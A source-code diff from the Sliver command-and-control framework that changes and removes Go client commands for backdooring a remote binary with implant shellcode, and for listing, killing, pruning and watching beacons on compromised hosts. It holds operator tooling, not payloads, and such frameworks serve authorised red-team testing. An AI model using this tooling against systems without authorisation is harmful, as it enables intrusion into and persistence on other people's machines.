-		)
-		switch key.Type {
-		case AliasPackage:
-			packageVersion, ok = aliasUpdates[key.Name]
-			if !ok {
-				continue
-			}
-			packageName = key.Name
-			packageType = "Alias"
-		case ExtensionPackage:
-			packageVersion, ok = extensionUpdates[key.Name]
-			if !ok {
-				continue
-			}
-			packageName = key.Name
-			packageType = "Extension"
-		default:
-			continue
-		}
-		tw.AppendRow(table.Row{
-			packageName,
-			packageType,
-			packageVersion.OldVersion,
-			fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
-		})
-	}
-
-	con.Printf("%s\n\n", tw.Render())
-}
-
-func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
-	chosenUpdates = []UpdateIdentifier{}
-
-	var updateResponse string
-
-	con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
-	err := survey.AskOne(&survey.Input{
-		Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
-	}, &updateResponse)
-	if err != nil {
-		// We do not need to set selectionError because an error here means the same thing as responding with "none"
-		return
-	}
-
-	updateResponse = strings.ToLower(updateResponse)
-	updateResponse = strings.Replace(updateResponse, " ", "", -1)
-	if updateResponse == "n" || updateResponse == "none" {
-		return
-	}
-
-	if updateResponse == "a" || updateResponse == "all" {
-		chosenUpdates = updateKeys
-		return
-	}
-
-	selections := strings.Split(updateResponse, ",")
-
-	for _, selection := range selections {
-		// Handle a range
-		if strings.Contains(selection, "-") {
-			rangeParts := strings.Split(selection, "-")
-			start, err := strconv.Atoi(rangeParts[0])
-			if err != nil {
-				selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
-				return
-			}
-			end, err := strconv.Atoi(rangeParts[1])
-			if err != nil {
-				selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
-				return
-			}
-			// Adjust for the 0 indexed slice we are working with
-			start -= 1
-			end -= 1
-			if start < 0 {
-				start = 0
-			}
-			if start > end {
-				selectionError = fmt.Errorf("%s is not a valid range", selection)
-				return
-			}
-			if end >= len(updateKeys) {
-				end = len(updateKeys) - 1
-			}
-
-			for i := start; i <= end; i++ {
-				chosenUpdates = append(chosenUpdates, updateKeys[i])
-			}
-		} else {
-			// Single entry
-			index, err := strconv.Atoi(selection)
-			if err != nil {
-				selectionError = fmt.Errorf("%s is not a valid range", selection)
-				return
-			}
-			index -= 1
-			if index >= 0 && index < len(updateKeys) {
-				chosenUpdates = append(chosenUpdates, updateKeys[index])
-			}
-		}
-	}
-	return
-}

client/command/backdoor/backdoor.go

@@ -19,38 +19,36 @@ package backdoor
 */
 
 import (
+	"context"
 	"fmt"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/spf13/cobra"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )
 
-// BackdoorCmd - Command to inject implant code into an existing binary.
-func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
+// BackdoorCmd - Command to inject implant code into an existing binary
+func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
 
-	remoteFilePath := args[0]
+	remoteFilePath := ctx.Args.String("remote-file")
 	if remoteFilePath == "" {
 		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
 		return
 	}
 
-	profileName, _ := cmd.Flags().GetString("profile")
-
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
+	profileName := ctx.Flags.String("profile")
 
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
 	con.SpinUntil(msg, ctrl)
-	backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
+	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
-		Request:     con.ActiveTarget.Request(cmd),
+		Request:     con.ActiveSession.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl

client/command/backdoor/commands.go

@@ -1,38 +0,0 @@
-package backdoor
-
-import (
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/generate"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	backdoorCmd := &cobra.Command{
-		Use:         consts.BackdoorStr,
-		Short:       "Infect a remote file with a sliver shellcode",
-		Long:        help.GetHelpFor([]string{consts.BackdoorStr}),
-		Args:        cobra.ExactArgs(1),
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-		Run: func(cmd *cobra.Command, args []string) {
-			BackdoorCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) {
-		f.StringP("profile", "p", "", "profile to use for service binary")
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) {
-		(*comp)["profile"] = generate.ProfileNameCompleter(con)
-	})
-	carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor"))
-
-	return []*cobra.Command{backdoorCmd}
-}

client/command/beacons/README.md

@@ -1,4 +0,0 @@
-Beacons
-========
-
-This package implements the beacons command, which can be used to list and interact with beacons.

client/command/beacons/beacons.go

@@ -1,240 +0,0 @@
-package beacons
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"regexp"
-	"strings"
-	"time"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
-	"github.com/bishopfox/sliver/client/command/kill"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// BeaconsCmd - Display/interact with beacons
-func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	killFlag, _ := cmd.Flags().GetString("kill")
-	killAll, _ := cmd.Flags().GetBool("kill-all")
-
-	// Handle kill
-	if killFlag != "" {
-		beacon, err := GetBeacon(con, killFlag)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		err = kill.KillBeacon(beacon, cmd, con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Println()
-		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
-	}
-
-	if killAll {
-		beacons, err := GetBeacons(con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, cmd, con)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-			con.Println()
-			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
-		}
-	}
-	filter, _ := cmd.Flags().GetString("filter")
-	var filterRegex *regexp.Regexp
-	if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
-		var err error
-		filterRegex, err = regexp.Compile(filterRe)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
-}
-
-// PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) {
-	if len(beacons) == 0 {
-		con.PrintInfof("No beacons 🙁\n")
-		return
-	}
-	tw := renderBeacons(beacons, filter, filterRegex, con)
-	con.Printf("%s\n", tw.Render())
-}
-
-func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer {
-	width, _, err := term.GetSize(0)
-	if err != nil {
-		width = 999
-	}
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	wideTermWidth := con.Settings.SmallTermWidth < width
-	windowsBeaconInList := false
-	for _, beacon := range beacons {
-		if beacon.OS == "windows" {
-			windowsBeaconInList = true
-		}
-	}
-	if wideTermWidth {
-		if windowsBeaconInList {
-			tw.AppendHeader(table.Row{
-				"ID",
-				"Name",
-				"Tasks",
-				"Transport",
-				"Remote Address",
-				"Hostname",
-				"Username",
-				"Process (PID)",
-				"Integrity",
-				"Operating System",
-				"Locale",
-				"Last Check-in",
-				"Next Check-in",
-			})
-		} else {
-			tw.AppendHeader(table.Row{
-				"ID",
-				"Name",
-				"Tasks",
-				"Transport",
-				"Remote Address",
-				"Hostname",
-				"Username",
-				"Process (PID)",
-				"Operating System",
-				"Locale",
-				"Last Check-in",
-				"Next Check-in",
-			})
-		}
-	} else {
-		tw.AppendHeader(table.Row{
-			"ID",
-			"Name",
-			"Transport",
-			"Hostname",
-			"Username",
-			"Operating System",
-			"Last Check-in",
-			"Next Check-in",
-		})
-	}
-
-	for _, beacon := range beacons {
-		color := console.Normal
-		activeBeacon := con.ActiveTarget.GetBeacon()
-		if activeBeacon != nil && activeBeacon.ID == beacon.ID {
-			color = console.Green
-		}
-		if beacon.Integrity == "" {
-			beacon.Integrity = "-"
-		}
-
-		// We need a slice of strings so we can apply filters
-		var rowEntries []string
-
-		if wideTermWidth {
-			rowEntries = []string{
-				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
-				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
-				fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
-			}
-
-			if windowsBeaconInList {
-				rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
-			}
-
-			rowEntries = append(rowEntries, []string{
-				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
-				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
-				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
-			}...)
-		} else {
-			rowEntries = []string{
-				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
-				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
-				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
-			}
-		}
-		// Build the row struct
-		row := table.Row{}
-		for _, entry := range rowEntries {
-			row = append(row, entry)
-		}
-		// Apply filters if any
-		if filter == "" && filterRegex == nil {
-			tw.AppendRow(row)
-		} else {
-			for _, rowEntry := range rowEntries {
-				if filter != "" {
-					if strings.Contains(rowEntry, filter) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-				if filterRegex != nil {
-					if filterRegex.MatchString(rowEntry) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-			}
-		}
-	}
-	return tw
-}

client/command/beacons/commands.go

@@ -1,102 +0,0 @@
-package beacons
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	beaconsCmd := &cobra.Command{
-		Use:     consts.BeaconsStr,
-		Short:   "Manage beacons",
-		Long:    help.GetHelpFor([]string{consts.BeaconsStr}),
-		GroupID: consts.SliverHelpGroup,
-		Run: func(cmd *cobra.Command, args []string) {
-			BeaconsCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
-		f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
-		f.StringP("kill", "k", "", "kill the designated beacon")
-		f.BoolP("kill-all", "K", false, "kill all beacons")
-		f.BoolP("force", "F", false, "force killing the beacon")
-
-		f.StringP("filter", "f", "", "filter beacons by substring")
-		f.StringP("filter-re", "e", "", "filter beacons by regular expression")
-	})
-	flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
-		(*comp)["kill"] = BeaconIDCompleter(con)
-	})
-	beaconsRmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove a beacon",
-		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			BeaconsRmCmd(cmd, con, args)
-		},
-	}
-	carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con))
-	beaconsCmd.AddCommand(beaconsRmCmd)
-
-	beaconsWatchCmd := &cobra.Command{
-		Use:   consts.WatchStr,
-		Short: "Watch your beacons",
-		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			BeaconsWatchCmd(cmd, con, args)
-		},
-	}
-	beaconsCmd.AddCommand(beaconsWatchCmd)
-
-	beaconsPruneCmd := &cobra.Command{
-		Use:   consts.PruneStr,
-		Short: "Prune stale beacons automatically",
-		Long:  help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			BeaconsPruneCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) {
-		f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin")
-	})
-	beaconsCmd.AddCommand(beaconsPruneCmd)
-
-	return []*cobra.Command{beaconsCmd}
-}
-
-// BeaconIDCompleter completes beacon IDs
-func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
-	callback := func(_ carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
-		if err == nil {
-			for _, b := range beacons.Beacons {
-				link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
-				id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
-				userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
-				desc := strings.Join([]string{id, userHost, link}, " ")
-
-				results = append(results, b.ID[:8])
-				results = append(results, desc)
-			}
-		}
-		return carapace.ActionValuesDescribed(results...).Tag("beacons")
-	}
-
-	return carapace.ActionCallback(callback)
-}

client/command/beacons/helpers.go

@@ -1,134 +0,0 @@
-package beacons
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"errors"
-	"fmt"
-	"sort"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-var (
-	// ErrNoBeacons - No sessions available
-	ErrNoBeacons = errors.New("no beacons")
-	// ErrNoSelection - No selection made
-	ErrNoSelection = errors.New("no selection")
-	// ErrBeaconNotFound
-	ErrBeaconNotFound = errors.New("no beacon found for this ID")
-)
-
-// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
-func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	if len(beacons.Beacons) == 0 {
-		return nil, ErrNoBeacons
-	}
-
-	beaconsMap := map[string]*clientpb.Beacon{}
-	for _, beacon := range beacons.Beacons {
-		beaconsMap[beacon.ID] = beacon
-	}
-	keys := []string{}
-	for beaconID := range beaconsMap {
-		keys = append(keys, beaconID)
-	}
-	sort.Strings(keys)
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	for _, key := range keys {
-		beacon := beaconsMap[key]
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
-			beacon.ID,
-			beacon.Name,
-			beacon.RemoteAddress,
-			beacon.Hostname,
-			beacon.Username,
-			fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
-		)
-	}
-	table.Flush()
-
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a beacon:",
-		Options: options,
-	}
-	selected := ""
-	survey.AskOne(prompt, &selected)
-	if selected == "" {
-		return nil, ErrNoSelection
-	}
-
-	// Go from the selected option -> index -> session
-	for index, option := range options {
-		if option == selected {
-			return beaconsMap[keys[index]], nil
-		}
-	}
-	return nil, ErrNoSelection
-}
-
-func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	if len(beacons.Beacons) == 0 {
-		return nil, ErrNoBeacons
-	}
-	for _, beacon := range beacons.Beacons {
-		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
-			return beacon, nil
-		}
-	}
-	return nil, ErrBeaconNotFound
-}
-
-func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	if len(beacons.Beacons) == 0 {
-		return nil, ErrNoBeacons
-	}
-	return beacons, nil
-}

client/command/beacons/prune.go

@@ -1,88 +0,0 @@
-package beacons
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// BeaconsPruneCmd - Prune stale beacons automatically
-func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	duration, _ := cmd.Flags().GetString("duration")
-	pruneDuration, err := time.ParseDuration(duration)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	pruneBeacons := []*clientpb.Beacon{}
-	for _, beacon := range beacons.Beacons {
-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		if time.Now().Before(nextCheckin) {
-			continue
-		}
-		delta := time.Since(nextCheckin)
-		if pruneDuration <= delta {
-			pruneBeacons = append(pruneBeacons, beacon)
-		}
-	}
-	if len(pruneBeacons) == 0 {
-		con.PrintInfof("No beacons to prune.\n")
-		return
-	}
-	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
-	for index, beacon := range pruneBeacons {
-		beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			continue
-		}
-		con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
-	}
-	con.Println()
-	confirm := false
-	prompt := &survey.Confirm{Message: "Prune these beacons?"}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
-	errCount := 0
-	for _, beacon := range pruneBeacons {
-		_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			errCount++
-		}
-	}
-	con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
-}

client/command/beacons/rm.go

@@ -1,42 +0,0 @@
-package beacons
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/console"
-)
-
-// BeaconsRmCmd - Display/interact with beacons
-func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	beacon, err := SelectBeacon(con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
-}

client/command/beacons/watch.go

@@ -1,68 +0,0 @@
-package beacons
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// BeaconsWatchCmd - Watch your beacons in real-ish time
-func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	done := waitForInput()
-	defer func() {
-		con.Printf(console.UpN+console.Clearln+"\r", 1)
-		con.Printf(console.UpN+console.Clearln+"\r", 1)
-	}()
-	for {
-		select {
-		case <-done:
-			return
-		case <-time.After(time.Second):
-			beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
-			if err != nil {
-				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
-			}
-			tw := renderBeacons(beacons.Beacons, "", nil, con)
-			lines := strings.Split(tw.Render(), "\n")
-			for _, line := range lines {
-				con.Printf(console.Clearln+"\r%s\n", line)
-			}
-			con.Printf("\nPress enter to stop.\n")
-			con.Printf(console.UpN+"\r", len(lines)+2)
-		}
-	}
-}
-
-func waitForInput() <-chan bool {
-	done := make(chan bool, 1)
-	go func() {
-		defer close(done)
-		fmt.Scanf("\n")
-		done <- true
-	}()
-	return done
-}

client/command/builders/builders.go

@@ -1,71 +0,0 @@
-package builders
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-)
-
-// BuildersCmd - List external builders.
-func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return
-	}
-	if len(builders.Builders) == 0 {
-		con.PrintInfof("No external builders connected to server\n")
-	} else {
-		PrintBuilders(builders.Builders, con)
-	}
-}
-
-func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
-	})
-	for _, builder := range externalBuilders {
-
-		targets := []string{}
-		for _, target := range builder.Targets {
-			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
-		}
-
-		row := table.Row{
-			builder.Name,
-			builder.OperatorName,
-			strings.Join(builder.Templates, ", "),
-			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
-			strings.Join(targets, "\n"),
-		}
-		tw.AppendRow(table.Row(row))
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/builders/commands.go

@@ -1,28 +0,0 @@
-package builders
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	buildersCmd := &cobra.Command{
-		Use:   consts.BuildersStr,
-		Short: "List external builders",
-		Long:  help.GetHelpFor([]string{consts.BuildersStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			BuildersCmd(cmd, con, args)
-		},
-		GroupID: consts.PayloadsHelpGroup,
-	}
-	flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) {
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	return []*cobra.Command{buildersCmd}
-}

client/command/c2profiles/c2profiles.go

@@ -1,600 +0,0 @@
-package c2profiles
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
